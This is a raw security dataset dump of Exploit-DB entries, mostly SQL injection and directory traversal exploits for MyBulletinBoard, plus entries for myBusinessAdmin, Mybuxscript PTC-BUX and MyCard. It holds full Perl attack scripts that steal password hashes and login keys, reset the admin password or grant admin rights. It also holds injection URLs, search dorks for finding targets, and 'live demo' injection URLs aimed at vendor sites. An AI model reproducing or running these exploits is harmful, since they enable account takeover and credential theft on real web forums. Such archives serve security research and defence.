deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26228
Description: MyBulletinBoard (MyBB) 1.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-09-06
Author: stranger-killer

Exploit:
source: https://www.securityfocus.com/bid/14762/info

MyBulletinBoard is prone to multiple SQL injection vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

misc.php :-

http://www.example.com/misc.php?action=rules&fid=-1' [SQL]

newreply.php :-

One may inject SQL data by submitting a HTTP POST with a modification
of the http header as follows:

Content-Disposition: form-data; name="icon"\r\n
\r\n
-1') [SQL] /*\r\n
Exploit-DB #28092
Description: MyBulletinBoard (MyBB) 1.0.x/1.1.x - 'usercp.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-06-22
Author: imei

Exploit:
source: https://www.securityfocus.com/bid/18602/info

MyBulletinBoard is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/mybb/usercp.php?action=do_options愦灭;showcodebuttons=1′,additionalgroups=’4
Exploit-DB #1022
Description: MyBulletinBoard (MyBB) 1.00 RC4 - 'calendar.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-31
Author: Alberto Trivero

Exploit:
#!/usr/bin/perl -w
#
# SQL Injection Exploit for MyBulletinBoard (MyBB) <= 1.00 RC4
# This exploit show the MD5 crypted password of the user id you've chose
# Related advisory: 
# Patch: http://www.mybboard.com/community/showthread.php?tid=2559
# http://fain182.badroot.org
# http://www.codebug.org
# Discovered by Alberto Trivero and coded with FAiN182

use LWP::Simple;

print "\n\t===========================================\n";
print "\t= Exploit for MyBulletinBoard <= 1.00 RC4 =\n";
print "\t= Alberto Trivero & FAiN182 - codebug.org =\n";
print "\t===========================================\n\n";

if(!$ARGV[0] or !$ARGV[1]) {
   print "Usage:\nperl $0 [full_target_path] [user_id]\n\nExample:\nperl $0 http://www.example.com/mybb/ 1\n";
   exit(0);
}

$url = "calendar.php?action=event&eid='%20UNION%20SELECT%20uid,uid,null,null,null,null,password,null%20FROM%20mybb_users%20WHERE%20uid=$ARGV[1]/*";
$page = get($ARGV[0].$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
$page =~ m/<td><strong>(.*?)<\/strong>/ && print "[+] User ID is: $1\n";
print "[-] Unable to retrieve User ID\n" if(!$1);
$page =~ m/<a href="member\.php\?action=profile&uid=">(.*?)<\/a>/ && print "[+] MD5 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);

# milw0rm.com [2005-05-31]
Exploit-DB #1172
Description: MyBulletinBoard (MyBB) 1.00 RC4 - 'search.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-08-22
Author: Alpha_Programmer

Exploit:
# mybb is dead /str0ke

#!/usr/bin/perl
######################################################################################
#                              Crouz.Com Security Team                               #
######################################################################################
#    EXPLOIT FOR: MyBulletinBoard Search.PHP SQL Injection Vulnerability             #
#                                                                                    #
#Expl0it By: A l p h a _ P r o g r a m m e r (sirius)                                #
#Email: Alpha_Programmer@LinuxMail.ORG                                               #
#                                                                                    #
#This Xpl Change Admin's Pass For L0gin With P0wer User                              #
#                                                                                    #
#HACKERS PAL & Devil-00 & ABDUCTER are credited with the discovery of this vuln      #
#                                                                                    #
######################################################################################
# GR33tz T0 ==>  mh_p0rtal  --  Dr-CephaleX  --  The-Cephexin  -- Djay_Agoustinno    #
#               No_Face_King --  Behzad185 -- Autumn_Love6(Hey Man You Are Singular) #
#                                                                                    #
#   Special Lamerz : Hoormazd  &  imm02tal  :P  ++ xshabgardx                        #
######################################################################################

use IO::Socket;

if (@ARGV < 2)
{
  print "\n==========================================\n";
  print " \n     -- Exploit By Alpha Programmer(sirius) --\n\n";
  print "              Crouz Security Team      \n\n";
  print "         Usage: <T4rg3t> <DIR>\n\n"; 
  print "==========================================\n\n";
  print "Examples:\n\n";
  print "    Mybb.pl www.Site.com /mybb/ \n";
  exit();

}
my $host = $ARGV[0];
my $dir = $ARGV[1];
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, 
PeerPort => "80" );
unless ($remote) { die "C4nn0t C0nn3ct to $host" }
print "C0nn3cted\n";
$http = "GET $dir/search.php?action=finduser&uid=-1' ; update mybb_users set username='da05581c9137f901f4fa4da5a958c273' , [CREDENTIAL_REDACTED]' where usergroup=4 and uid=1 HTTP/1.0\n";
$http .= "Host: $host\n\n\n\n";
print "\n";
print $remote $http;
print "Wait For Changing Password ...\n";
sleep(10);
print "OK , Now Login With :\n";
print "Username: crouz\n";
print "Password: crouz\n\n";
print "Enjoy ;)\n\n";

# milw0rm.com [2005-08-22]
Exploit-DB #1539
Description: MyBulletinBoard (MyBB) 1.03 - 'misc.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-02-28
Author: Devil-00

Exploit:
MyBB New SQL Injection

D3vil-0x1 < Devil-00 >

Milw0rm ID :-
http://www.milw0rm.com/auth.php?id=1320

The Inf.File :-
misc.php

Linez :-

[code]
	$buddies = $mybb->user['buddylist'];

	$namesarray = explode(",",$buddies);

	if(is_array($namesarray))

	{

		while(list($key, $buddyid) = each($namesarray))

		{

			$sql .= "$comma'$buddyid'"; <== HERE :) Uncleard Var !!

			$comma = ",";

		}

	$timecut = time() - $mybb->settings['wolcutoff'];

	$query = $db->query("SELECT u.*, g.canusepms FROM ".TABLE_PREFIX."users u LEFT JOIN ".TABLE_PREFIX."usergroups g ON (g.gid=u.usergroup) WHERE u.uid IN ($sql)");
[/code]

From 255 to 265

The GLOBALS unset function .. do not unset $_COOKIES ..
then u can start attacking any var by cookies :)

Tested MyBB 1.3 .. Register_Globals = On

Explorer Exploit :-

1- Login by any username ..
2- Create new cookie (
	name 	=> "comma"
	value	=> "comma=0)%20%3C%3E%200%20UNION%20ALL%20SELECT%201,loginkey,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,1 FROM mybb_users WHERE uid=1/*")

3- Check The URL :-
HOST/PATH/misc.php?action=buddypopup

Where HOST = The Vic.Server And PATH = MyBB Dir.

# milw0rm.com [2006-02-28]
Exploit-DB #1548
Description: MyBulletinBoard (MyBB) 1.04 - 'misc.php' SQL Injection (2)
Type: webapps
Platform: php
Date: 2006-03-03
Author: Devil-00

Exploit:
#!/usr/bin/perl -w

# MyBB <= 1.04 (misc.php COMMA) Remote SQL Injection Exploit 2 , Perl C0d3
#
# Milw0rm ID :-
#			http://www.milw0rm.com/auth.php?id=1539
# D3vil-0x1 | Devil-00 < BlackHat > :)
#
# DONT FORGET TO DO YOUR CONFIG !!
# DONT FORGET TO DO YOUR CONFIG !!
# DONT FORGET TO DO YOUR CONFIG !!
use IO::Socket;

##-- Start --#

$host 	= "127.0.0.1";
$path		= "/mybb3/";
$userid	= 1;
$mycookie 	= "mybbuser=1_xommhw5h9kZZGSFUppacVfacykK1gnd84PLehjlhTGC1ZiQkXr;";

##-- _END_ --##
#	$host		:-
#				The Host Name Without http:// | exm. www.vic.com
#
#	$path		:-
#				MyBB Dir On Server | exm. /mybb/
#
#	$userid	:-
#				The ID Of The User U Wanna To Get His Loginkey
#
#	$cookie	:-
#				You Must Register Username And Get YourCookies ( mybb_user ) Then But it Like This
#	
#				$cookie 	= "mybbuser=[YourID]_[YourLoginkey];";
$sock = IO::Socket::INET->new (
										PeerAddr => "$host",
										PeerPort	=> "80",
										Proto		=> "tcp"
										) or die("[!] Connect To Server Was Filed");
##-- DONT TRY TO EDIT ME --##										
$evilcookie = "comma=0)%20%3C%3E%200%20UNION%20ALL%20SELECT%201,loginkey,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,1 FROM mybb_users WHERE uid=$userid/*;";
##-- DONT TRY TO EDIT ME --##						
$evildata  = "GET ".$path."misc.php?action=buddypopup HTTP/1.1\n";
$evildata .= "Host: $host \n";
$evildata .= "Accept: */* \n";
$evildata .= "Keep-Alive: 300\n";
$evildata .= "Connection: keep-alive \n";
$evildata .= "Cookie: ".$mycookie." ".$evilcookie."\n\n";

print $sock $evildata;

while($ans = <$sock>){
	$ans =~ m/<a href=\"member.php\?action=profile&amp;uid=1\" target=\"_blank\">(.*?)<\/a><\/span><\/td>/ && print "[+] Loginkey is :- ".$1."\n";
}

# milw0rm.com [2006-03-03]
Exploit-DB #1950
Description: MyBulletinBoard (MyBB) 1.1.3 - 'usercp.php' Create Admin
Type: webapps
Platform: php
Date: 2006-06-25
Author: Hessam-x

Exploit:
#!/usr/bin/perl
# MyBulletinBoard (MyBB) <= 1.1.3 Create An Admin Exploit
#
# www.h4ckerz.com / hackerz.ir / aria-security.net / Myimei.com /
# ./2006-6-23
### Coded By Hessam-x / Hessamx-at-Hessamx.net

use IO::Socket; 
use LWP::UserAgent;
use HTTP::Cookies;


 $host = $ARGV[0];
 $uname = $ARGV[1];
 $passwd = $ARGV[2];
 $url = "http://".$host;
 
 print q(
 ###########################################################
 # MyBulletinBoard (MyBB) <= 1.1.3 Create An Admin Exploit #
 #           www.hackerz.ir - www.h4ckerz.com              #
 ################### Coded By Hessam-x #####################

);


 
 if (@ARGV < 3) {
 print " #  usage : hx.pl [host&path] [uname] [pass]\n"; 
 print " #  E.g : hx.pl www.milw0rm.com/mybb/ str0ke 123456\n"; 
  exit();
 }
 
    print " [~] User/[CREDENTIAL_REDACTED]/$passwd \n";
    print " [~] Host : $host \n";
    print " [~] Login ... ";


   
$xpl = LWP::UserAgent->new() or die;
$cookie_jar = HTTP::Cookies->new();

$xpl->cookie_jar( $cookie_jar );
 $res = $xpl->post($url.'member.php',
 Content => [
 "action"   => "do_login",
 "username"   => "$uname",
 "password"   => "$passwd",
 "submit"      => "Login",
 ],);
 
 if($cookie_jar->as_string =~ /mybbuser=(.*?);/) { 
  print "successfully .\n";
  } else { 
  print "UNsuccessfully !\n";
  print " [-] Can not Login In $host !\n"; 
  exit(); 
  }
 
$req = $xpl->get($url.'usercp.php?action=do_options&showcodebuttons=1\',additionalgroups=\'4');
$tst = $xpl->get($url.'index.php');
if ($tst->as_string =~ /Admin CP/) { 
print " [+] You Are Admin Now !!";
} else {
    print " [-] Exploit Failed !";
    }

# milw0rm.com [2006-06-25]
Exploit-DB #3780
Description: MyBulletinBoard (MyBB) 1.2.5 - 'calendar.php' Blind SQL Injection
Type: webapps
Platform: php
Date: 2007-04-23
Author: 0x86

Exploit:
#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
  print "                                                                \n";
  print "   #############################################################\n";
  print "   #   MyBulletinBoard <= 1.2.5 Remote SQL Injection Exploit   #\n";
  print "   #   Bug found and Exploit coded by 0x86                     #\n";
  print "   #                                                           #\n";
  print "   #   www.geeksec.net                                         #\n";
  print "   #   0x86 [at] geeksec.net                                   #\n";
  print "   #                                                           #\n";
  print "   #   Usage:   perl mybb.pl host path <options>               #\n";
  print "   #   Example: perl mybb.pl www.host.com /mybb/ -u 5          #\n";
  print "   #                                                           #\n";
  print "   #   Options:                                                #\n";
  print "   #     -u    User-ID, default: 1                             #\n";
  print "   #     -p    Proxy support                                   #\n";
  print "   #############################################################\n";
  exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $userid  = 1;
my %options = ();
GetOptions(\%options, "u=i", "p=s");

print "[+] Exploiting...\n";

if($options{"u"})
{
  $userid = $options{"u"};
}

syswrite(STDOUT, "[+] MD5-Hash: ", 14);

for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f && $h <= 57)
  {
    if(istrue2($host, $path, $userid, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f && $h <= 122)
    {
      if(istrue2($host, $path, $userid, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}

print "\n[+] Exploiting done\n";

sub istrue2
{
  my $host  = shift;
  my $path  = shift;
  my $uid   = shift;
  my $i     = shift;
  my $h     = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = "http://".$host.$path."calendar.php?action=dayview&year=2007&month=3&day=1111111'%20OR%20SUBSTRING((SELECT%20password%20FROM%20mybb_users%20WHERE%20uid=".$uid."),".$i.",1)=CHAR(".$h.")/*";
 
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
 
  my $resp = $ua->get($query);
  my $content = $resp->content;
  my $regexp = "profile";
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }

}

# milw0rm.com [2007-04-23]
Exploit-DB #28291
Description: MyBulletinBoard (MyBB) 1.x - 'usercp.php' Directory Traversal
Type: webapps
Platform: php
Date: 2006-07-27
Author: Roozbeh Afrasiabi

Exploit:
source: https://www.securityfocus.com/bid/19195/info

MyBulletinBoard is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks.

http://www.example.com/usercp.php?action=avatar&gallery=../../uploads
http://www.example.com/usercp.php?action=do_avatar&gallery=../../../../../../..dir&avatar=myfile
Exploit-DB #26150
Description: MyBulletinBoard (MyBB) RC4 - 'action' SQL Injection
Type: webapps
Platform: php
Date: 2005-08-12
Author: phuket

Exploit:
source: https://www.securityfocus.com/bid/14553/info
   
MyBulletinBoard is prone to multiple SQL injection vulnerability. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
   
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
   
Reports indicate an attacker can exploit at least one of these vulnerabilities to gain administrative access to the affected application. 

http://www.example.com/search.php?action='[SQL Injection]
Exploit-DB #26148
Description: MyBulletinBoard (MyBB) RC4 - 'member.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-08-12
Author: phuket

Exploit:
source: https://www.securityfocus.com/bid/14553/info
 
MyBulletinBoard is prone to multiple SQL injection vulnerability. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
Reports indicate an attacker can exploit at least one of these vulnerabilities to gain administrative access to the affected application. 

http://www.example.com/member.php?action=login : username='[SQL INJECTION]
http://www.example.com/member.php?action='[SQL Injection]
Exploit-DB #26149
Description: MyBulletinBoard (MyBB) RC4 - 'polloptions' SQL Injection
Type: webapps
Platform: php
Date: 2005-08-12
Author: phuket

Exploit:
source: https://www.securityfocus.com/bid/14553/info
  
MyBulletinBoard is prone to multiple SQL injection vulnerability. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
  
Reports indicate an attacker can exploit at least one of these vulnerabilities to gain administrative access to the affected application. 

http://www.example.com/polls.php?action=newpoll&tid=1&polloptions='[SQL INJECTION]
Exploit-DB #26147
Description: MyBulletinBoard (MyBB) RC4 - 'Username' SQL Injection
Type: webapps
Platform: php
Date: 2005-08-12
Author: phuket

Exploit:
source: https://www.securityfocus.com/bid/14553/info

MyBulletinBoard is prone to multiple SQL injection vulnerability. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Reports indicate an attacker can exploit at least one of these vulnerabilities to gain administrative access to the affected application. 

The following proof of concept demonstrates the vulnerability in admin/index.php:
Username: ' or 1=1 /*
Password: blank
Exploit-DB #11327
Description: myBusinessAdmin - 'content.php' Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-02-03
Author: AtT4CKxT3rR0r1ST

Exploit:
myBusinessAdmin (content.php) Blind Sql Injection Vulnerability
==============================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Team           : Sec Attack Team
.:. Home           : www.sec-attack.com/vb
.:. Script         : myBusinessAdmin
.:. Download Script: http://www.redcow.ca/products/mybusinessadmin/
.:. Bug Type       : Blind Sql Injection
.:. Dork           : "Powered by myBusinessAdmin and Red Cow Technologies, Inc."

####################################################################

===[ Exploit ]===

www.site.com/content.php?id=[Blind SQL INJECTION]


www.site.com/content.php?id=NULL+and+1=1       >>> True
www.site.com/content.php?id=NULL+and+1=2       >>> False


www.site.com/content.php?id=NULL+and+substring(@@version,1,1)=5  >>> True
www.site.com/content.php?id=NULL+and+substring(@@version,1,1)=4  >>> False



####################################################################

Greats T0: HackxBack & Zero Cold & All My Friend & All Member Sec Attack
Exploit-DB #9555
Description: Mybuxscript PTC-BUX - 'spnews.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-31
Author: HxH

Exploit:
------------------------------------------------------------

Mybuxscript PTC-BUX (spnews.php) SQL Injection Vulnerability

------------------------------------------------------------

Author.: HxH

Contact: HxH[at]live[dot]at

---------------------------

Script.: Mybuxscript PTC-BUX (BASIC/ADVANCE/PRO)

Home...: http://www.mybuxscript.com/index.php?cPath=1

-----------------------------------------------------

Exploit:

[~] http://localhost/Path/?p=spnews&id=-7+UNION+SELECT+1,version(),3,4--

------------------------------------------------------------------------

Demo...: 

A: http://mybuxscript.com/salescripts/ptc_basic/?p=spnews&id=-7+UNION+SELECT+1,version(),3,4--

B: http://mybuxscript.com/salescripts/ptc_advance/?p=spnews&id=-10+UNION+SELECT+1,version(),3,4--

C: http://mybuxscript.com/salescripts/ptc_professional/?p=spnews&id=-12+UNION+SELECT+1,version(),3,4--

------------------------------------------------------------------------------------------------------

Greetz.: ~ JiKo ~ The Sad Hacker ~ All No-Exploit.com Members

-------------------------------------------------------------

# milw0rm.com [2009-08-31]
Exploit-DB #6603
Description: MyCard 1.0.2 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-27
Author: r45c4l

Exploit:
################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# --d3hydr8 -rsauron-baltazar -sinner_01 -C1c4Tr1Z - beenu     # 
#-Marezzi-P47tr1ck- FeDeReR -MAGE -JeTFyrE- DON-Outlawz        #
#        and all darkc0de and NikTrix members               ---# 
################################################################ 
# 
# Author: r45c4l 
# 
# Home  : www.darkc0de.com & niktrix.info
# 
# Email : r45c4l@hotmail.com 
# 
# Share the c0de! 
# 
################################################################ 
# 
# Title:  MyCard script  1.0.2 (gallery.php?id) SQL Injection
#
# VEndor: http://www.tufat.com/s_business_card_designer.htm
# 
#
###########################################################
#
# d0rk: Powered by MyCard
#
###########################################################
 
     POC :- 
	
	http://www.site.com/[path]/gallery.php?id=-1+union+select+1,concat(login_id,0x3a,login_pass),2,3+from+pcard_user/*        
   
     Live Demo: 
	
	For live demo first go here : http://demo.tufat.com/mycard/index.php and register and then u can test like this :

	http://demo.tufat.com/mycard/gallery.php?id=-1+union+select+1,concat(login_id,0x3a,login_pass),2,3+from+pcard_user/*
 
###########################################################
#
#  Bug discovered : 28 Sep.2008
###########################################################

# milw0rm.com [2008-09-27]